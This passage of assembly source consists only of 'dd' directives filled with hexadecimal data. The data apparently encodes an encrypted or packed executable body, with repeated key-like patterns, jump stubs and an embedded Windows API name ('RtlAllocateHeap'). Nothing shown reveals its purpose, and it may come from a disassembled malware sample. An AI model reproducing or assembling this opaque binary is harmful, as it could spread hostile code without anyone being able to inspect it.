		dd 0D953F5F9h, 443217DFh, 71C31466h, 113215DDh,	2F91466h
		dd 0AD6B4E65h, 2232156Dh, 2BC434DEh, 0EE9FC6B4h, 0ADE3E3B0h
		dd 22321560h, 0C6FD1E49h, 64B3B920h, 44321562h,	901601EFh
		dd 21C095A6h, 6168C546h, 44321563h, 22FDEB47h, 1E92291Dh
		dd 8832E1E2h, 42BC1A66h, 42321566h, 0E9C29E00h,	0AC06EA07h
		dd 40F6943Fh, 2D321566h, 113200ECh, 8822FC66h, 8251566h
		dd 138C05D0h, 85776D3Dh, 3B3B4366h, 0FF61B2A0h,	22321566h
		dd 0F8694D35h, 88321568h, 3307A95h, 0AE1F0EDDh,	0D8528529h
		dd 0E0DBE3F9h, 24321567h, 4330CAE6h, 1CDBDC57h,	0EB321566h
		dd 24CE5842h, 0CF2440E3h, 9645CC85h, 8833AA31h,	0BD331566h
		dd 223BFC39h, 354A1566h, 59B59CE6h, 0AD6FF866h,	223215E4h
		dd 77F09E06h, 8EBECDE7h, 44317D07h, 2EB91566h, 15F69442h
		dd 87321566h, 443206E5h, 223CFC66h, 9E7F1566h, 0F3ED60A6h
		dd 801ACE4Ch, 197C0410h, 1132588Fh, 89B81A66h, 0B1321566h
		dd 96656DDFh, 13D3D47Ch, 8C5EAE35h, 0B37166E6h,	57C194BDh
		dd 20D4BBC0h, 0EE524EBFh, 0FD0CE4DFh, 62AD5567h, 112EFC07h
		dd 83D1566h, 44321567h,	22357D93h, 1DB91566h, 8CF69642h
		dd 86B37306h, 0A954824Ah, 0B5C174A0h, 88321D8Fh, 700DCF66h
		dd 56C6F9F1h, 9CB9EDCBh, 8E210F63h, 42DB4406h, 32321566h
		dd 0ABA17C55h, 0E8524A5Dh, 443DFC07h, 0B4901566h, 4FF89704h
		dd 59E3F386h, 379B8DCCh, 0A753746Fh, 0FB71AAFh,	0E8321566h
		dd 4C57AB00h, 4352E906h, 0A4BB7407h, 8E210F63h,	44359C69h
		dd 0AD3D1566h, 11321567h
		dd 0AC3E9E9Ah, 41D29C36h, 22321562h, 11321163h,	0AC369266h
		dd 0CF54753Ah, 0E38D1AA1h, 5D2AD07h, 58C5375Bh,	0AC1B5653h
		dd 171F5558h, 470C6653h, 45785AD8h, 1AC22456h, 58F57353h
		dd 1DB41AF2h, 87321566h, 443213E1h, 22BC1A66h, 0D2321566h
		dd 88321B8Fh, 0D5FDE066h, 0C6A58991h, 0CF03DE2Dh, 0EEF5CCB5h
		dd 0CF542399h, 0E6B33162h, 11321564h, 3F3D7506h, 978D1A96h
		dd 6FD09407h, 700F0254h, 0C3DD65Ah, 443214D1h, 22339469h
		dd 40C71566h, 63BAD0EEh, 0C51619EDh, 223211A2h,	0A360E066h
		dd 3E13596h, 80B13172h,	2220FC62h, 0F591566h, 21DD9CDEh
		dd 0C5F0874Eh, 5BB7F950h, 342B9F72h, 8742EEE6h,	44362DE2h
		dd 25B81A66h, 71321566h, 373DF9ECh, 0AD0E74BDh,	23539169h
		dd 16DB1566h, 49321566h, 26BCB458h, 0A33D752Ch,	1132157Eh
		dd 8832068Fh, 0DDAAAF66h, 6E2C42D3h, 9F4DF009h,	0F148B376h
		dd 0B0437B5h, 0A63DFE5Ah, 11321449h, 0D765EC06h, 4BF02907h
		dd 223337E2h, 1126FC66h, 0D5511566h, 5C011B1h, 3F06283Bh
		dd 717F55FFh, 64EA1A8Ah, 8F0E7BC1h, 23339169h, 9F3D1566h
		dd 88321579h, 442B9F69h, 36DB1566h, 15321566h, 8C4D2E3Ch
		dd 0B3497FBCh, 8EC200B0h, 0BC04A72h, 0EE802CA4h, 4B17EA5Bh
		dd 2232C7E2h, 19B81A66h, 0E8321566h, 4BFDA269h,	1E53D3D9h
		dd 0ADB61AACh, 87321566h, 443214E2h, 0C10EE066h, 125D9169h
		dd 0EEC71566h, 4BCD3B5Bh, 223228E3h, 7960ED66h,	88321564h
		dd 0CEC0143Ch, 9C524F64h, 6FE57Fh, 78834407h, 48B9DD46h
		dd 26F69642h, 1E92299Fh, 88326FE2h, 4422FC66h, 0C4361566h
		dd 707B886Bh, 0D80B85D8h, 9BF96C24h, 9D654997h,	4D673CA6h
		dd 77D59429h, 0C560E27Bh, 773BAA91h, 3DB34236h,	9F45AB42h
		dd 0FA374D7Eh, 7D2A0211h, 112F9569h, 73D1566h, 44321571h
		dd 2232078Fh, 8C443D66h, 551153C2h, 5DCBF40Eh, 8287AD0Ch
		dd 0F88B3389h, 883215FAh, 44279A69h, 32DB1566h,	0D4321566h
		dd 0D4ECE591h, 3A66A143h, 5B3A17D0h, 98CAD8D7h,	9B2810D3h
		dd 0D9BFEC60h, 242B82A4h, 11229D69h, 13D1566h, 4432156Ch
		dd 2232108Fh, 0EA651D66h, 5BCD9876h, 442D9F69h,	0A43D1566h
		dd 1132157Fh, 8832018Fh, 0F9D51766h, 6B1107FEh,	7980F859h
		dd 689F9CAh, 10917472h,	2234FCB9h, 986D1566h, 10BF7512h
		dd 4436F9E7h, 3EBB1566h, 17B77D42h, 0C3696C71h,	0BD4FD6E7h
		dd 0FABB938Eh, 17DB753Dh, 36321566h, 48EE7816h,	68F09444h
		dd 700347CDh, 8835FCA5h, 278B1566h, 0DD3500F1h,	3C977D67h
		dd 8CBB1566h, 48B21A42h, 42321566h, 89EC47D9h, 46B37377h
		dd 1653970Ah, 223205DCh, 40D89466h, 8917383Bh, 15F09494h
		dd 0A917383Bh, 14DB4F64h, 29321566h, 592527DEh,	3F8390EFh
		dd 0EECB1375h, 96A3152h, 443211A2h, 2226FC66h, 0E821566h
		dd 0DF7B7EA0h, 50E5F8E4h, 3F6CA47Eh, 0E9393FEDh, 3260E421h
		dd 4432157Ah, 7745D3E7h, 0C73374EAh, 0DD45FBE7h, 0BD6874EAh
		dd 3B67A8EBh, 1FDB1375h, 9C321566h, 581F7E3Ch, 0E90DE21Ch
		dd 0E3312C93h, 8DC7B850h, 0D4276E1h, 69548563h,	35761675h
		dd 0EEA23842h, 0C31F062Dh, 2D7B6505h, 11321FE6h, 8837FC66h
		dd 29091566h, 89C7FA63h, 508F989Eh, 61340654h, 44321577h
		dd 9C69AACFh, 0DBCFE38Ch, 0B5EFC369h, 0A7FB39D2h, 9952B8F3h
		dd 11FF8897h, 8832058Eh, 40A43966h, 0F10DDA65h,	3C42EBCEh
		dd 51B799A5h, 4421FC17h, 832B1566h, 0E9DCBF31h,	0F8055E36h
		dd 9EF5380Ah, 110313ADh, 14534B5Eh, 0C51661D0h,	60165165h
		dd 0DDCAB30h, 0F7F34A47h, 7FECE26Eh, 0A7F494B0h, 0E32EC93Bh
		dd 0FFB31788h, 4A6C8B24h, 0AD6CE54Fh, 22321576h, 0E54D7EFAh
		dd 0BCBB0A7Fh, 5E233F2Fh, 0A0E58EC9h, 90D49C30h, 883211A0h
		dd 40DC9466h, 0A5321566h, 986E3152h, 98DB3162h,	6B321566h
		dd 5D022423h, 94E5F145h, 95489754h, 4B086E29h, 223203ECh
		dd 9A547566h, 8839FDACh, 572A1566h, 56A78E83h, 77B99C4Ah
		dd 23534D72h, 44399169h, 44521566h, 770E38D8h, 40D5D3E7h
		dd 958F9807h, 2D340662h, 113214EBh, 709FE966h, 7AA31h
		dd 0DA3314A7h, 35761639h, 0CC07384Eh, 0EFCE14A7h, 90C39F06h
		dd 25B9744Bh, 6ABB4742h, 4436D7E7h, 0E0B11566h,	35269262h
		dd 8826FC3Ah, 0BB881566h, 8D90587Ch, 0CA349095h, 0F93DEEA2h
		dd 38930944h, 2DDB0D63h, 0B7321566h, 0C5F81E0Ah, 0EFB9C9B4h
		dd 6A4C9BE3h, 71F1E3FAh, 88309C69h, 1E651566h, 2232188Eh
		dd 5B2D9166h, 3FACE77Dh, 1C6AD1FCh, 638C1DEAh, 497CD314h
		dd 6BBB4607h, 4436D6E7h, 0C9B11566h, 352E9262h,	0AC069C3Ah
		dd 4432198Fh, 0E7A61D66h, 0B614C09Ch, 81B5E41Eh, 46AF9814h
		dd 0CB340CF1h, 1132156Dh, 0AA024B7Ch, 0E75D2F43h, 0DD10E0ACh
		dd 0D7B375B5h, 0E775AD32h, 0B8A2FC07h, 2ADBEA99h, 8A321566h
		dd 0D7B8BF3Dh, 0DFA0460Eh, 6CD24ECEh, 8AFD4AA8h, 0F251A245h
		dd 0F8D9C0D5h, 0ED96A45Fh, 8A152AA8h, 0A0242945h, 261957DFh
		dd 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h, 2C5ECA79h
		dd 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h, 8A152A5Ch
		dd 2A5EFA79h, 8A152A6Bh, 0A851D6ACh, 8660D554h,	2559D7BAh
		dd 907B2BCEh, 32DCF143h, 8C0F448Ch, 0EDD871BAh,	8A42C3A8h
		dd 0DDAEA245h, 8260D558h, 0C64038C8h, 7462C4Eh,	0B23F7ADFh
		dd 3C6D552h, 92B85E00h,	75152A54h, 0DDAEAE30h, 978FA75Ch
		dd 0FB57B82Bh, 0E4CDB0D9h, 7BAEA45Fh, 63E96FDDh, 0A851A258h
		dd 75195FABh, 32DCAA30h, 8C0F447Dh, 70CB2F16h, 7513303Ah
		dd 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h,	3044BA45h
		dd 2AE90000h, 0C7000000h, 2404h, 0E80000h, 5D000000h, 73A8ED81h
		dd 448B061Ah, 85890424h, 61304C5h, 0B8h, 8D8D8D00h, 0FF06134Fh
		dd 6754B8E1h, 0CEB0000h, 4324FFE0h, 38BC570Ah, 80DE1881h
		dd 585E9h, 579E900h, 12A00000h,	0F2446644h, 85C7E5Ch, 0ED3E6442h
		dd 0D05D4363h, 38F72684h, 0F0CE86D3h, 0FAD87ACAh, 0E5C583D8h
		dd 0FCDA72C3h, 217DF0EFh, 0EA16B828h, 6CBD8BB7h, 0DA6D51E0h
		dd 6DFBDF6Eh, 0E37254E5h, 4FDEE071h, 0C1123405h, 2207308Fh
		dd 0F357E94Eh, 4BAA7BCCh, 4CE0E281h, 0DB6B6FFEh, 8D6B5473h
		dd 0F1F277A5h, 0E485C919h, 694E8DDCh, 0C91BC5F8h, 8C901A81h
		dd 233E7A42h, 44634463h, 9E74B511h, 0B5C7E10h, 6D9C2445h
		dd 168887B8h, 280FACF1h, 0E77F479Dh, 5615DF98h,	4C6AE074h
		dd 0E978D266h, 8A2F5598h, 13A8EA4Fh, 65EF3E64h,	83E7795Bh
		dd 0A4F305E9h, 9CE4CB8Bh, 0BAB13247h, 45EA23BBh, 2D6B3D48h
		dd 0C308EF6Ch, 0A9E3EB52h, 0DA5DB9DAh, 0EAB133D2h, 7559CA56h
		dd 0E0B13256h, 9470D8D7h, 21BE344Fh, 57B13253h,	0E9836036h
		dd 0B0A4F305h, 0F29D11F1h, 2375FD7Ah, 0C77417FBh, 0D525FB60h
		dd 0ADFDF53Fh, 916F8496h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h
		dd 7975FD7Ah, 9E987C27h, 0A073E701h, 830C8EFFh,	0A4F305E9h
		dd 0BD8DDB8Bh, 61A94D9h, 1A298D8Dh, 44B8061Bh, 2B321566h
		dd 2E9C1CFh, 0C8D00731h, 4904C783h, 0DE9F675h, 81000000h
		dd 492EE38Ch, 982B1E5Ch, 24BB1240h, 1840Fh, 53FC0000h
		dd 0D889C389h, 81241C8Bh, 4C4h,	890F6000h, 16h,	11E9h
		dd 18521F00h, 5D5FE58Fh, 403FC6FBh
		dd 0CCC67673h, 0F861F741h, 1625BD83h, 75000613h, 81BD8309h
		dd 6132Ch, 53501974h, 11B8C08Bh, 89000004h, 13311585h
		dd 0E49D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh, 17740006h
		dd 11B85350h, 89000004h, 13311585h, 859D8D06h, 0FF0615A6h
		dd 0E9585BD3h, 0Ch, 59E61893h, 77283422h, 6012EF0Ch, 0CE9F5h
		dd 0C6510000h, 0D5ED48A5h, 0A1573E7Fh, 8956B1E5h, 0F78957C6h
		dd 5E5FF889h, 6E9h, 9CD06A00h, 0F8BD1CFEh, 1E238D8Dh, 6A061Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 7AB4E3C3h, 0A312185Fh, 14B4FC7Fh, 1BBD8D89h,	6A0613h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 85FB8AC3h, 8305895Eh, 9B52960h, 8906130Fh, 1318B985h
		dd 85C76106h, 61318DDh,	62C4h, 0A2D8D89h, 85C70613h, 6133055h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 6AC35646h
		dd 80375BE6h, 195ED522h, 4DBD8BD1h, 0FF06132Ch,	132101B5h
		dd 0E8816606h, 95FFD56Dh, 6131D89h, 113D9D03h, 6A0613h
		dd 0DA995FFh, 0C08B0613h, 0A24C38EBh, 0E13B14F8h, 0AC177BCAh
		dd 0A607B0Dh, 37651E4Eh, 0FB46AC5Ah, 0F072E251h, 0C9EB4883h
		dd 0EFCFB3A0h, 99D50F1Fh, 61953608h, 0A3CC68D2h, 604404D1h
		dd 2AE0F27Dh, 0FE84872h, 14000000h, 9A1530Dh, 30BC6E84h
		dd 0D8895B90h, 0BD8B9156h, 61312B1h, 0FE95Ah, 0B60F0000h
		dd 0ECAA2D61h, 0A8F05199h, 0A2C50CD5h, 24C28137h, 0F5000060h
		dd 8166C02Bh, 8B5F6BC9h, 810F0234h, 6, 1DADB589h, 0EE810613h
		dd 626F7794h, 13E9h, 1FBFCD00h,	5BB1BF1Fh, 0A7C4B7F8h
		dd 6440BA36h, 63065D60h, 86F3EE81h, 0D1811802h,	2DC00B2Fh
		dd 6A58EE81h, 8D2B210Ah, 6132301h, 66023489h, 8D89CE8Bh
		dd 6131FF5h, 8904E883h,	130705BDh, 7CF88106h, 0FFFFFA0h
		dd 0FFFF9A85h, 45B531FFh, 0E9061310h, 0EDh, 0D88C6660h
		dd 840F04A8h, 0DFh, 2EB5B58Bh, 0FE830613h, 22850F00h, 0C6000000h
		dd 1311E185h, 69684506h, 0FF8E7269h, 13116DB5h,	33858D06h
		dd 0FF06167Ch, 0BD8589D0h, 8B06131Ch, 0E93E80F0h, 31850Fh
		dd 858D0000h, 61887E0h,	0BD8BD0FFh, 61329C5h, 1184C781h
		dd 0B58B0000h, 6132EB5h, 8B9F787h, 0F3000000h, 0B5B58BA4h
		dd 8D06132Eh, 16BD3A85h, 8BD0FF06h, 1313F1B5h, 0FE8306h
		dd 22850Fh, 85C60000h, 61311E1h, 0BEF46854h, 0B5FFFF4Eh
		dd 613116Dh, 7C33858Dh,	0D0FF0616h, 13F18589h, 0F08B0613h
		dd 0FE93E80h, 3A85h, 0F1B58B00h, 8D061313h, 1887E085h
		dd 8BD0FF06h, 1329C5BDh, 84C78106h, 83000011h, 0B58B08C7h
		dd 61313F1h, 8B9F787h, 0F3000000h, 0F1B58BA4h, 8D061313h
		dd 16BD3A85h, 61D0FF06h, 0E858DC3h, 89061B1Fh, 130B3185h
		dd 0BE906h, 0A5510000h,	601Fh, 0
		dd 4B4E900h, 3C680000h,	0E9061B21h, 0FFF8613Ch,	1B21AD68h
		dd 6132E906h, 0ED68FFF8h, 0E9061B22h, 0FFF86128h, 0CBEB6BF7h
		dd 0D9F955E5h, 0C5E565F7h, 0DEFC54E3h, 0C7E76DFCh, 0A3325BD4h
		dd 0A12F11B1h, 9C2F11B1h, 992C0EACh, 94613B3h, 0B8D57AD4h
		dd 0F1CE4316h, 87D67AC9h, 0BD24BE06h, 7155E470h, 3783A6E0h
		dd 0A025C91h, 4ACB109Eh, 2668A865h, 42276747h, 9BF66744h
		dd 64168EC9h, 4CC1C95Eh, 0A8AC7D2h, 7A1B7A9Bh, 0C83C9AEBh
		dd 0F7930A8Ah, 0F99A5A82h, 567C5AACh, 1B824A04h, 2D2h
		dd 0BDE5C23Fh, 3455E470h, 9DB4C945h, 40B59210h,	109DB4C6h
		dd 656F0E8Fh, 2148696Fh, 0D4644665h, 26AEEF7Eh,	0A625C439h
		dd 0D736168Eh, 99CCEB34h, 0A8AA33Dh, 3A94C906h,	30A8AA3h
		dd 0AAD9E382h, 0E7E5C1A3h, 3D348CD5h, 93BD723h,	70E5C2A3h
		dd 1315FA7Dh, 4A005476h, 6AFB9AFBh, 5473134Eh, 2D14C21h
		dd 6340C50Dh, 0C1CE5E44h, 3781E074h, 2A88C415h,	7FD4B508h
		dd 1AB5A8C9h, 237684BFh, 2E04984h, 6DF90000h, 57E7C9E9h
		dd 5FF1D7F7h, 56E5CBEBh, 67F6DCFAh, 51DECDEDh, 7A7AD3Ch
		dd 1FBF9321h, 4A2A639h,	0E1C18B1Eh, 0C86F7D8h, 0D516B8D6h
		dd 0BEA3A2BCh, 2C7AEBC8h, 0DD168695h, 89E864F5h, 95B3082Ah
		dd 9D2C0E4Bh, 0A43117B7h, 2884DCEAh, 39582472h,	0B5072B28h
		dd 6145C495h, 13727ACEh, 0E94733B0h, 7AEF5DF0h,	80089EA3h
		dd 6F3411D8h, 6A000002h, 765C7ADCh, 664C6AE4h, 785A78D2h
		dd 674969E7h, 695C7ADAh, 3C18A5C6h, 262CBC9Eh, 3B0DA288h
		dd 2824B59Bh, 6F9EC18Ah, 16B8D5F3h, 0C2F965BCh,	0B8004EE0h
		dd 8221657Ch, 86950353h, 51B416h, 82951171h, 54004D0Ah
		dd 0DD71C105h, 6F0C868Ch, 36D33F86h, 0A5064616h, 17CEE5Ah
		dd 0EED10000h, 0A3D278CCh, 0A829D27h, 9CB12D60h, 1B7A0A82h
		dd 55FFC94Ch, 0C3E06CBDh, 0B7D74DDCh, 0A32D62A5h, 9DAF0244h
		dd 9EE8013Dh, 0AB3C1E41h, 6B7594A5h, 8F0CE11Ch,	1A2B6A16h
		dd 8B096BEBh, 0B295C20Ah, 8B08C743h, 0C30D900Ah, 0CC8CB049h
		dd 745AACB2h, 38h, 0C8BEA3CAh, 989B7AEBh, 296C168Eh, 0C8173B18h
		dd 41C14088h, 980A8A89h, 756B94BBh, 4FF493A5h, 4E6E0B85h
		dd 5AADC28Eh, 0C41E4F70h, 8D0A89D8h, 9B59C008h,	0FD000000h
		dd 51E06CBDh, 4FFD5072h, 8B065385h, 4E00523Dh, 46714E2Fh
		dd 0AA20C7FCh, 49982009h, 0C998B405h, 0BA183485h, 9E37A94Bh
		dd 0B4982910h, 0B7CF1A16h, 0AD9F3218h, 66737D9Ch, 889481F7h
		dd 0C01F7E16h, 0A9094B9Ah, 671A3A87h, 800E91A0h, 2F2F2AC1h
		dd 0AA000001h, 0B69C3A1Ch, 0A68C2A24h, 0B89A3812h, 0A7892927h
		dd 0A99C3A1Ah, 7CD86586h, 66EC7C5Eh, 7BCD6248h,	68E4755Bh
		dd 2F5E814Ah, 16B8D6B3h, 0C239257Ch, 0B90351E0h, 0AC0A4A97h
		dd 98B7A48Bh, 0F8DBB51h, 0A4293C5h, 6CBD0EACh, 0DC6D51E0h
		dd 0B565270h, 0E3765C7Bh, 2FB9D869h, 0FBDEB322h, 2807168Eh
		dd 8A6659B5h, 0D9E3220Ah, 88AA098Ch, 0CB4A1B39h, 5FEED401h
		dd 9AAB9D32h, 49BC1A7Bh, 0A8A65C9h, 3A98B405h, 0BA8BC918h
		dd 0A19Fh, 459AC000h, 0D061EF40h, 81D0B1h, 0BEA31EB8h
		dd 287AEBC8h, 0E1168695h, 1F401FBCh, 829574EEh,	0A9D83D0Ah
		dd 0A82952Dh, 9E4D97F6h, 0CE6029BCh, 0DFC1E180h, 706FFE4Eh
		dd 94C41E4Fh, 428D0A82h, 4A6629AAh, 0EBF59464h,	7D5E8E9Ch
		dd 0C237BB70h, 9C002A15h, 0B665E114h, 0EF2EA47Ch, 934C89C8h
		dd 7CF8E862h, 0D6CB1A4h, 0C4091C3h, 1AA991AEh, 0DEE62736h
		dd 52E369FCh, 5271DF70h, 0F8860075h, 0CE4FA47Ch, 0FF716706h
		dd 0C785D88Ah, 17E1C6E7h, 0D60305E5h, 72C315DFh, 34E8BDAh
		dd 0F4000000h, 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h
		dd 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h,	2ABC9EAFh
		dd 51221524h, 0C181E189h, 4, 4E981h, 0C870000h,	14895C24h
		dd 5786824h, 1C890000h,	0E1895124h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 83243489h, 48904ECh, 203AB824h, 0C389061Bh
		dd 4EC8158h, 89000000h,	4832424h, 835E0424h, 1C8904ECh
		dd 24348124h, 1B5E2678h, 8108468Fh, 26780876h, 34FF1B5Eh
		dd 0C4815E24h, 4, 5B2434FFh, 4C481h, 0A1E90000h, 21FFF85Ch
		dd 8D3B80E6h, 4FA99C51h, 3053C6D7h, 41B84A01h, 3061B24h
		dd 0F2E0FFC5h, 7036D392h, 0D143C3BFh, 3B59A758h, 8C6B6D37h
		dd 0BD04B286h, 0FF5250E0h, 2748EEAFh, 1A4C27F1h, 0E50A1654h
		dd 0E85A5EA2h, 0Dh, 8473AE0Ch, 5484D38h, 2BE6FA5Ch, 0CE980h
		dd 151A0000h, 759850Ch,	16F884B3h, 0F5AF38Ah, 28Fh, 8177B300h
		dd 6FF4C2h, 4934B900h, 0D0BF0D58h, 6600001Bh, 32FFF28Bh
		dd 0E95862B7h, 0Bh, 0D4688AFDh,	9E8EE5DCh, 81C749FBh, 0F4C333C0h
		dd 10E825h, 61D40000h, 181D6DE3h, 32EA9240h, 6A285161h
		dd 0AE99961h, 28000000h, 0AC05D86Eh, 0C4B4955Bh, 0E8815BC2h
		dd 2D9336C4h, 0E881CB8Ah, 1A361613h, 925CCB81h,	66505B08h
		dd 8F7C1ABBh, 0DB816602h, 0EA81CBD5h, 95550F5h,	0F1C281F9h
		dd 0F095550h, 0F4FC9BFh, 0FFFF8985h, 1810FFFh, 0F9000000h
		dd 265E8D8Dh, 8B66061Bh, 6830FD8h, 8B000000h, 13055185h
		dd 0BD8D8906h, 6A06131Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 742C356h, 0C7167792h
		dd 1318DD85h, 619806h, 79858900h, 0C7061305h, 13305585h
		dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0C21CD538h, 66AA389Bh, 0FF622BB8h
		dd 1313D1B5h, 31953306h, 8B061317h, 130C159Dh, 8995FF06h
		dd 2306131Dh, 13003DB5h, 0FF006A06h, 130DA995h,	0EBC08B06h
		dd 2FCFF33Ah, 3008C349h, 88B654ACh, 0CDB06DFCh,	0AA270F81h
		dd 0A0417F9Eh, 0B28392BBh, 0D7D639AEh, 6F989057h, 93721791h
		dd 0F904B455h, 20899326h, 99E28E21h, 832E3D3Fh,	0E9E8292Eh
		dd 40h,	1DF3958Fh, 416C7452h, 636F6C6Ch, 48657461h, 706165h
		dd 140000h, 0Ah	dup(0)
		dd 116BE9h, 295D6800h, 71E9061Bh, 68FFF85Ah, 61B2A50h
		dd 0F85A67E9h, 2CE968FFh, 5DE9061Bh, 68FFF85Ah,	61B2E26h
		dd 0F85A53E9h, 315F68FFh, 49E9061Bh, 68FFF85Ah,	61B3223h
		dd 0F85A3FE9h, 326268FFh, 35E9061Bh, 68FFF85Ah,	61B333Fh
		dd 0F85A2BE9h, 33D868FFh, 21E9061Bh, 68FFF85Ah,	61B342Dh
		dd 0F85A17E9h, 35EE68FFh, 0DE9061Bh, 68FFF85Ah,	61B36C7h
		dd 0F85A03E9h, 88CE1CFFh, 98B6082Ah, 86C4183Ah,	9FB10228h
		dd 88CC193Fh, 0D734FB2Ah, 0C6ECCA8Ah, 0DCFEDC76h, 0BFE1C187h
		dd 0F300DE6Eh, 0DC1D79ECh, 0B3E616B8h, 0C5C5230Ch, 0EEB8F43Fh
		dd 6CBD7CE6h, 0C3E4C3E0h, 9DB53892h, 0ED9C0110h, 109DB571h
		dd 6EE81D3Ah, 37109DB5h, 0C313B7D6h, 915BBA8Bh,	0EF5DF0D2h
		dd 859815Eh, 7F1E3281h,	78D06375h, 79F3E9h, 0F51B7057h
		dd 0EA40DCEDh, 11DB79C8h, 0CD1B6EBFh, 3455B485h, 0C945B897h
		dd 92109DC0h, 4A6B6973h, 23B2D368h, 80015031h, 72C38D1Eh
		dd 3A87C913h, 4396BC1Ah, 371B3809h, 7A9BAAAAh, 7FCD6072h
		dd 0D5C7E5Fh, 28417D47h, 2F5E815Eh, 109DC0B3h, 82CF197Ch
		dd 1E2A7DA5h, 8706CE4Fh, 168EAF2Ah, 720352B3h, 0A8AAB14h
		dd 0FE4FFD50h, 73C288DCh, 0EC96335Dh, 4E97F65Ch, 572547C4h
		dd 0FF5AAD10h, 3Fh, 0C8BEA363h,	0E7E9C4EBh, 0F229F023h
		dd 9978EDEAh, 6A168F7Fh, 1A3D1A2Bh, 8B706FEBh, 0F1D5380Ah
		dd 0A6E5EF63h, 0A8B7028h, 5676137Fh, 5AAC5186h,	0E4603F68h
		dd 92AA34B4h, 110D34Ah,	0BD670000h, 6D51E06Ch, 0CB47B6E0h
		dd 0FF109DB4h, 4FCE9FAFh, 0DFFC9D00h, 50E169FBh, 0CDF006Bh
		dd 0B2D3D303h, 4697BB2Ah, 9CF66748h, 65109E7Eh,	7ED53120h
		dd 7F9E109Eh, 6F9EC11Eh, 109E7EF3h, 0E67559BCh,	0C403626Ah
		dd 0ED3D4ADEh, 0D0310061h, 0BEC352EBh, 844CBC92h, 6D4DFF52h
		dd 9E047DFEh, 0DAACFD10h, 16A35E75h, 0F9D9B82Ah, 86D7FBDCh
		dd 0D83B97C6h, 8104109Dh, 88C41537h, 20667BB9h,	0DD6F5283h
		dd 0C548168Eh, 0DA70C4E6h, 9DC4C412h, 0C5EDCAE9h, 8CC61675h
		dd 993D5CEDh, 0D4350448h, 33987D0Ch, 0F6E11075h, 7F65B39Fh
		dd 0D4915B10h, 0A13012B1h, 9A2E14B3h, 109DA1B0h, 0BD9B2544h
		dd 53064E9Bh, 79FB3BC9h, 5F726FFEh, 1A00000Eh, 62C8ACCh
		dd 163C9AB4h, 82A88C2h,	173999B7h, 0F92C8ACAh, 0CC88D536h
		dd 0D67CCCEEh, 0CB7DD2F8h, 0D874C5EBh, 7FEEF1FAh, 16B8DE23h
		dd 0BD89B5ECh, 0E3C7E470h, 2B6AFB53h, 3C8DB3A1h, 2E4FFB4Dh
		dd 0BEA33290h, 0B57FDB0Ah, 0C548109Dh, 72807A4h, 9DB57CD6h
		dd 0D14CAD10h, 0A47326B4h, 1F6E7697h, 168EC63Eh, 4EBF8E0Fh
		dd 0A8AB5D0h, 280F3827h, 0FE4EDF67h, 21A4BDD9h,	0B0DC6D97h
		dd 5AAC86E0h, 0A648h, 6CBDEE00h, 0E06D51E0h, 5785774h
		dd 109DB489h, 70DE7052h, 311DAD11h, 26C938A7h, 0A6109DB1h
		dd 0B7993913h, 19172626h, 3119B6D0h, 3623ADA1h,	0E4D2E19h
		dd 7A9F58C3h, 7B2E1372h, 8607168Eh, 8501E828h, 0C6C3B726h
		dd 59BC1074h, 4B09587Ah, 59F3466Ch, 113F8908h, 0EEECA22Fh
		dd 0DB8D169Ah, 9D255839h, 0BE79FAF0h, 0D6C322Fh, 0C10D0000h
		dd 0C3133595h, 0B3052B8Bh, 0C2113797h, 0BB0A308Eh, 250A3999h
		dd 0FBDB79C8h, 0EBCB87D5h, 0F8D672C5h, 0EDCD7FD2h, 108AFBE4h
		dd 0D916B8DFh, 70BD9EC0h, 51E4C6E4h, 0C27DDBFBh, 7BA990DDh
		dd 0B0D160E8h, 0B5B7250Bh, 0F198292Bh, 755AEB5Fh, 5C5989C3h
		dd 82E3826Bh, 77D30225h, 40109DDBh, 725413DDh, 1E4D6DDFh
		dd 109DDAC0h, 0C3E369FCh, 0A3004CDDh, 4A582E7Fh, 3C75CABAh
		dd 21C00869h, 76D00522h, 0AA109E55h, 0EB2A391Bh, 0EE5EEFE1h
		dd 0A3E97B5Fh, 9E54D832h, 1D7CA110h, 94B60A4Ch,	7B1082C5h
		dd 55E6648Ah, 1FC77DA2h, 20FBF04Dh, 9DCA71EDh, 0BADB3A10h
		dd 0BF8D2032h, 0FFF5C31Fh, 0B897A341h, 9DCDC945h, 1BD0FA10h
		dd 0E646F83Ch, 6ADE7159h, 11DBBADBh, 988Ah, 0BEA3B000h
		dd 0BF7AEBC8h, 48168E91h, 8F7CD607h, 21B00A8Ah,	54E32233h
		dd 0E7639231h, 0B00A8A8Eh, 8BAF0C6Dh, 0C342133Bh, 0BB1B6AF9h
		dd 120A8A8Eh, 1BD90378h, 0C35AAD3Ch, 5Dh, 0B5117097h, 2E33109Dh
		dd 9577B58h, 75527F49h,	8C54004Dh, 8EA9B8FDh, 0EECC5116h
		dd 86D77DCCh, 68473F2Ah, 7B87D4F5h, 1DAD9510h, 8A1E2031h
		dd 0CA17A1C0h, 0F2456B4Bh, 0C0A90756h, 0F574E9C6h, 760A6861h
		dd 5EAA2459h, 1273FE64h, 0DAF81DCAh, 0C884D5FDh, 85D01879h
		dd 8FEh, 70E5C229h, 109DB516h, 0A36BEDFh, 0D508A7DFh, 168E85D4h
		dd 1773E2E5h, 0E00A8A85h, 0FC8DDCBDh, 0A8A849Eh, 0FC2099F5h
		dd 5AAD363Ch, 1AA4h, 0C4133700h, 64BE2F8Ch, 2D0A8A8Dh
		dd 7076E0E8h, 109DB512h, 0FB8CB411h, 0C21AFFFFh, 0BA0250E0h
		dd 0CC60637Eh, 4DC01F7Eh, 168EA5F4h, 0B0411075h, 0A8AA452h
		dd 0C0EC5DA9h, 5AAD09F0h, 6E1FB092h, 0C71170DAh, 55450h
